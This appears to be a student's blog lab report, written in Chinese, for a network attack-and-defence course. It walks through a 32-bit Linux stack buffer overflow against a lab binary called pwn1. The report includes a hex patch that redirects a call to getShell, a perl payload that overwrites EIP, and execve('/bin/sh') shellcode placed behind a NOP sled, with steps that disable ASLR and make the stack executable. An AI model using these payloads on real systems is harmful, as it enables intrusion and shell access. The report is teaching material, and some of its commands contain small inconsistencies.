20251909 2025-2026-2 《网络攻防实践》实践九

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

一、大小端字节存储模式

1. 基本概念

计算机在内存中多字节数据存在两种存储顺序,主流x86/x86_64架构Linux系统均默认使用小端序,是缓冲区溢出构造Payload的核心知识点。

  • 小端序(Little-Endian)低字节存低地址,高字节存高地址
  • 大端序(Big-Endian)高字节存低地址,低字节存高地址
2. 实例演示

以32位地址 0xFFFFD040 为例:
十六进制拆分:FF FF D0 40

  • 小端内存存放顺序:40 D0 FF FF
  • 大端内存存放顺序:FF FF D0 40
3. PWN实战用途

溢出攻击中需要改写函数返回地址EIP,必须将内存地址倒序写成十六进制转义字符,例如地址0xffffd040写入Payload格式为:\x40\xd0\xff\xff

二、补码基础知识

1. 核心规则

计算机所有整数统一使用补码存储运算,无原码、反码直接参与计算。

  1. 正数:原码 = 反码 = 补码
  2. 负数:补码 = 对应正数原码取反(反码)+ 1

三、Shellcode构造基础

0.常见汇编指令及其含义

1、NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
2、JNE:条件转移指令,如果不相等则跳转。(机器码:75)
3、JE:条件转移指令,如果相等则跳转。(机器码:74)
4、JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
5、CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

1. 定义

Shellcode是精简无冗余、无空字节的二进制机器指令流,注入程序后可被CPU直接执行,最常用功能为调用系统函数获取交互式Shell。

2. 编写硬性要求
  1. 禁止包含\x00空字节getsscanf等输入函数遇到0x00会截断数据,导致注入失败
  2. 指令短小精简,适配栈缓冲区空间
  3. 适配对应系统架构:32位Linux、64位Linux、Windows架构Shellcode互不通用
3. 32位Linux通用Shellcode原理

核心调用内核execve系统调用,执行/bin/sh程序实现提权拿Shell。

  1. 汇编编写底层调用逻辑
  2. 汇编编译后提取纯机器码
  3. 剔除坏字节,封装为可直接使用的十六进制字符串
4. 配套辅助指令
  • NOP指令:十六进制\x90,空执行指令,又称NOP滑梯
  • 作用:批量填充在Shellcode前方,增大跳转命中概率,提升溢出攻击成功率
5. 实战嵌入流程
  1. 计算缓冲区到EIP的溢出偏移量
  2. 偏移位置填入小端序跳转地址
  3. 地址后方填充NOP空指令
  4. 最后拼接完整Shellcode,组合成完整攻击Payload

四、实验payload构造流程总结

栈溢出完整利用流程:
利用偏移量填满缓冲区 → 通过大小端规则写入跳转地址 → 依靠NOP滑梯精准命中 → 执行自定义Shellcode → 依托系统补码/内存机制完成权限获取,三者为Linux栈溢出漏洞利用必备底层基础。

五、缓冲区溢出漏洞

缓冲区溢出漏洞

  1. 漏洞原理
    程序向固定大小缓冲区写入超长数据,超出边界覆盖栈上其他数据(EBP、EIP 返回地址),篡改程序执行流程,进而执行恶意代码。
    核心成因
    使用不安全输入函数:gets()、strcpy()、sprintf() 无长度校验
    未做输入长度限制,用户可控数据可无限写入缓冲区
    栈内存布局连续,溢出可逐层覆盖栈帧数据

六、常见汇编指令及其机器码

汇编指令 指令全称 功能说明 典型机器码 备注
NOP No Operation 空操作,占用 1 个时钟周期 0x90 单字节指令,无操作数
CMP Compare 比较指令,执行减法不保存结果,仅影响标志位 0x3C(立即数 / AL)、0x39(寄存器 / 内存) 机器码随操作数组合变化
JE Jump if Equal 相等则跳转(ZF=1) 0x74 短跳转(-128~127),机器码 + 偏移量
JNE Jump if Not Equal 不相等则跳转(ZF=0) 0x75 短跳转(-128~127),机器码 + 偏移量
JMP Jump 无条件跳转 短跳转:0xEB近跳转:0xE9绝对跳转:0xFF 机器码随跳转类型 / 寻址方式变化

2.实践过程

2.1 直接手工修改可执行文件,改变程序执行流程,跳转到getShell函数

输入指令objdump -d 20251909swl | more查看反汇编指令。


image

我们看到getShell、foo以及main等函数的信息,关键地址信息如下:

call指令所在地址:0x080484b5

call指令的下一条指令地址(返回地址):0x080484ba

原目标函数foo的地址:0x08048491

目标函数getShell的地址:0x0804847d
这就需要我们修改main函数中call foo的指令,让它跳转到getShell函数,而不是原来的foo函数

  • 前置知识:x86架构下的call 32指令采用相对寻址方式,其跳转目标地址的计算公式为:目标地址=返回地址+偏移量
    其中偏移量为32位有符号整数,以补码形式存储在指令的机器码中
    因此要修改call指令的跳转目标,只需要修改其对应的32位偏移量即可。

全局关键分析(也影响后面两个实验)

具体地,当前程序下main函数中第四行是在调用08048491地址的foo函数,
image

其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。(顺序执行,eip类似于pc寄存器)
三者关系:80484ba + d7 ff ff ff = 08048491。(也就是正常跳转到foo函数的汇编地址)

所以,要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址即可。
这里有一个非常重要的机器指令e8 :E8 = CALL 指令后面 4 个字节 = 相对偏移地址(小端序)

所以我们需要将getshell的地址减去当前eip内容80484ba,用上述关系计算:804847d - 80484ba = c3 ff ff ff。拼凑可得要修改的机器指令为:e8 c3 ff ff ff。

将main函数中的e8 d7 ff ff ff修改为e8 c3 ff ff ff,就能使程序在执行到该call指令时,不再调用foo函数,而是直接跳转到getShell函数

输入指令vim 20251909swl打开文件,可以看到一堆乱码,原因是编码形式的不同。

image

键入命令“:%!xxd”然后回车,将文件转换为16进制可以看到:

找需要修改的部分,输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。
image
输入 :%!xxd -r 还原为原格式后,:wq 保存退出。
image
再次输入objdump -d 20251909swl查看返汇编代码,看见代码被成功修改!“call .......getshell”
image
实践运行文件20251909swl,输入hostname和ls分别查看主机名称和文件同目录下所有文件。
image

2.2 利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数

输入 objdump -d 文件名 | more 查看pwn文件。
image

上面这个函数 getShell,我们的目标是触发这个函数。
该可执行文件正常运行是调用如下函数 foo,仔细分析后发现foo函数存在漏洞:系统仅预留了 28(0x1c)字节的缓冲区,超出部分将发生溢出,我们的目标是覆盖返回地址。

下载gdb工具做汇编程序调试,
image

image

对文件swl20251909_2文件进行调试,输入r运行。输入一段超长字符串AAAAAAAABBBBBBBBCCCCCCCCDDDDD
DDDEEEEEEEEFFFF
来观察EIP被覆盖的情况。(该字符串将不同字母划分为固定长度分段,每一类字母对应唯一十六进制 ASCII 码,形成专属识别特征,函数运行崩溃后,直接查看寄存器内数值,就能快速判断当前是哪一段字符覆盖到了对应栈区域,若寄存器数值为0x43434343则代表覆盖到栈基址 EBP,数值为0x44444444就说明成功覆盖关键返回地址 EIP。)
程序崩溃后,输入info registers查看寄存器状态

image

  • 发现EIP=0x45454545,对应字符"EEEE",可知偏移量是32字节
    现在构造攻击payload,攻击字符串的结构为:
    32字节填充+getShell地址(小端序)
    getShell的入口地址在2.1节已确认为0x0804847d,小端序表示为\x7d\x84\x04\x08
    所以我们得到输入指令perl -e 'print "A"x32 . "\x7d\x84\x04\x08"' > payload,生成payload文件,示意图如下。
+-----------------------+  <-- 缓冲区起始位置 (内存低地址)
|                       |
|     32 个 'A'         |  填满缓冲区 + 覆盖 EBP
|    (0x41 * 32)        |
|                       |
+-----------------------+  <-- 偏移 32 字节位置(EIP 原本存放处)
|                       |
|  \x7d\x84\x04\x08     |  覆盖函数返回地址 EIP
|  (小端序:0x0804847d) |
|                       |
+-----------------------+     内存高地址

image

  • 可以看到末尾就是getshell的入口地址!!!!理论可行。
    最后输入指令(cat payload; cat) | ./swl20251909_2执行攻击,键入enter回车后,获得shell ls查看目录下文件,发现程序成功调用了getShell函数!实验完成。
    image

2.3注入一个自己制作的shellcode并运行这段shellcode

首先安装execstack。输入 execstack -s swl20251909_2设置堆栈可执行。然后输入 execstack -q swl20251909_2查询文件的堆栈是否可执行。
然后我们需要查看地址随机化的状态,如果开启则需要关闭地址随机化,输入命令:more /proc/sys/kernel/randomize_va_space查询地址随机化状态。返回值显示2 说明随机化已开启。
输入指令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址空间随机化(ASLR) (下图中包含询文件的堆栈是否可执行和随机化是否已开启两个步骤。)
image
构造初始payload:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2
x1\x00"' > input_swl2519

输入指令(cat input20252909; cat) | ./swl20251909_2将input_swl2519设为swl20251909_2的输入。(这里指令执行以后暂时不要再按enter键了)

image
同时打开一个新的终端,输入ps -ef | grep swl20251909_2查看swl20251909_2被调用包含的进程。可以看到进程pid为144494

进入gdb输入指令attach 144494进行静态调试。
输入指令disassemble foo查看ret指令地址。
输入指令break *0x080484ae设置断点,然后输入continue
image

回到之前的终端(即payload执行的那里),按下回车
然后在gdb中输入info r esp显示栈指针esp寄存器的值
image
观察到寄存器的值为0xffffd03c,输入指令x/16x 0xffffd2ec查看当前栈顶的值。
image

可以观察到0x01020304,和之前输入的x4x3x2x1相对应,进行计算得到:ffffd03c+0x4=ffff d040(可口算)
所以我们得到了最终需要构造的payload如下;

perl -e 'print "A" x 32; print "\x40\xd0\xff\xff";
 print "\x90" x 16; print 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x
6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > swlinput_1909

重新用 swlinput_1909执行输入,我们顺利得到shell,所有实验完成。
image

3.学习中遇到的问题及解决

  • 问题1:gdb调试器无法下载安装 “Err:1 http://mirrors.ustc.edu.cn/kali kali-rolling/main amd64 libexpat1-dev amd64 2.7.5-1 Cannot initiate the connection to mirrors.ustc.edu.cn:80 (2001:da8:d800:95::110). - ”
  • 问题1解决方案:IPv6 不通,导致无法连接中科大镜像源(报错 Network is unreachable)
    当前安装命令会强制升级 / 卸载大量系统依赖(44 个包被移除,251 个升级)
 1. 备份原有源
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

 2. 写入【阿里云Kali源】(国内最稳定,无IPv6问题)
sudo tee /etc/apt/sources.list <<-'EOF'
deb http://mirrors.aliyun.com/kali kali-rolling main non-free non-free-firmware contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free non-free-firmware contrib
EOF

 3. 强制IPv4更新(解决网络不可达问题)
sudo apt update -o Acquire::ForceIPv4=true --fix-missing

 4. 【关键】仅安装gdb,不升级/卸载任何系统包(安全!)
sudo apt install gdb -y --no-upgrade

依次键入上述指令即可解决。

4.实践总结

本次实验学习了缓冲区溢出漏洞,payload的构造方式,以及反汇编代码的简单分析,收益颇丰,顺带还回忆起了计算机组成原理里补码,汇编指令的知识,对于程序的运行机理有了一定的了解!实验内容有趣且综合性强,期待下次实验。

参考资料

posted @ 2026-05-17 18:53  施为乐  阅读(51)  评论(0)    收藏  举报